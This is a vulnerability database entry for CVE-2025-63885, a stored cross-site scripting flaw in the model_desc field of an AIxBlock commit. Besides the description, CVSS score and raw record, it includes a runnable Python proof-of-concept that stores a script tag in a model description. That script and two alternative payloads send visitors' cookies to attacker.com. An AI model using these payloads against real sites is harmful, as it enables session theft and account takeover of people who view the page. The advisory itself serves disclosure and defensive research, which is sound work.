Security Vulnerability Report
中文
CVE-2025-63885 CVSS 6.1 MEDIUM

CVE-2025-63885

Published: 2025-10-30 17:15:40
Last Modified: 2026-04-15 00:35:42

Description

A stored cross-site scripting (XSS) vulnerability in AIxBlock commit 04f305 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the model_desc field.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AIxBlock commit 04f3051187b884973beb42316489e3fb37116fdf

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-63885 PoC - AIxBlock Stored XSS in model_desc field # Target: AIxBlock application # Vulnerability: Stored XSS via model_desc field TARGET_URL = "http://target-aiplatform.com" # XSS payload - Cookie stealing example xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Alternative payloads # xss_payload = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">' # xss_payload = '<svg/onload=fetch("https://attacker.com/log?c="+btoa(document.cookie))>' def exploit_stored_xss(): """ Exploit stored XSS in model_desc field of AIxBlock Steps: 1. Create or update a model with malicious model_desc 2. Wait for victim to view the model page 3. XSS payload executes in victim's browser """ # Step 1: Inject XSS payload into model_desc field model_data = { "name": "Malicious Model", "model_desc": xss_payload, # Injected XSS payload "version": "1.0" } # API endpoint to create/update model (may require authentication) api_endpoint = f"{TARGET_URL}/api/models" try: response = requests.post(api_endpoint, json=model_data) if response.status_code == 200 or response.status_code == 201: print("[+] XSS payload injected successfully!") print(f"[+] Model ID: {response.json().get('id')}") print(f"[+] Payload stored in model_desc field") print("[+] Any user viewing this model will trigger the XSS") else: print(f"[-] Failed to inject payload: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-63885 PoC - AIxBlock Stored XSS") print("=" * 50) exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63885", "sourceIdentifier": "[email protected]", "published": "2025-10-30T17:15:39.900", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in AIxBlock commit 04f305 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the model_desc field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/AIxBlock-2023/awesome-ai-dev-platform-opensource/issues/278%2C", "source": "[email protected]"}, {"url": "https://github.com/AIxBlock-2023/awesome-ai-dev-platform-opensource/pull/280/commits/04f3051187b884973beb42316489e3fb37116fdf", "source": "[email protected]"}]}}